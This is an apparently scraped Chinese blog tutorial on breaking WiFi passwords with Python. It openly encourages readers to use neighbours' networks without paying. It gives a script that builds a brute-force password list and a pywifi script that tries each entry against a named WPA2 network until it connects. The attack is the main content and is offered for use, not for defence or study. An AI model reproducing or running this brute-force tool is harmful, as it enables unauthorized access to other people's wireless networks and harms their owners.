【Python】Python破解WiFi密码 您所在的位置:网站首页 破解wifi密码怎么弄出来 【Python】Python破解WiFi密码

【Python】Python破解WiFi密码

#【Python】Python破解WiFi密码| 来源: 网络整理| 查看: 265

不想交网费?不想交,那然我们一起蹭网吧!(不过劝你别用,一是费时间,二是网速也慢😂)

言归正传,首先你得有一台电脑,一个Python,还有pywifi。

​​1.​​​​​下载pywifi

按下win+r键,会弹出这个窗口watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_8,color_FFFFFF,t_70,g_se,x_16

然后输入cmd,会弹出来这个watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETkDkuIDkuKrojrflvpfor7rotJ3lsJTml6DogYrlpZbnmoTkuro,size_15,color_FFFFFF,t_70,g_se,x_16 

然后输入 pip install pywifi就好了

2.编辑代码(这里我用的是pycharm)

代码如下

import itertools as its words="1234567890qwertyuiopasdfghjklzxcvbnm" #生成密码本的位数,五位数,repeat=5 r=its.product(words,repeat=3)

dic=open(r"E:\密码本.txt","a")#记得改路径 for i in r:     dic.write("".join(i))     dic.write("".join("\n"))     print(i) dic.close() print("密码本已生成")

3.校对密码

 

import pywifi

from pywifi import const

import time

import datetime

 

def wifiConnect(pwd):

    wifi=pywifi.PyWiFi()

    ifaces=wifi.interfaces()[0]

    ifaces.disconnect()

    time.sleep(1)

    wifistatus=ifaces.status()

    if wifistatus ==const.IFACE_DISCONNECTED:

        profile=pywifi.Profile()

        #要连接WiFi的名称

        profile.ssid="jiayi"

        profile.auth=const.AUTH_ALG_OPEN

        #wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        profile.cipher=const.CIPHER_TYPE_CCMP

        #调用密码

        profile.key=pwd

        #删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        #设定新的连接文件

        tep_profile=ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        #wifi连接时间

        time.sleep(3)

        if ifaces.status()==const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接") 

 

#读取密码本

def readPassword():

    print("开始破解:")

    #密码本路径

    path="E:\密码本.txt"

    #打开文件

    file=open(path,"r")

    while True:

        try:

            #一行一行读取

            pad=file.readline()

            bool=wifiConnect(pad)

            

            if bool:

                print("密码已破解: ",pad)

                print("WiFi已自动连接!!!")

                break

            else:

                #跳出当前循环,进行下一次循环

                print("密码破解中....密码校对: ",pad)

        except:

            continue

好了,去试试吧,就是时间比较久

拜拜👋🏻

 

 

 

 

 

 

 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有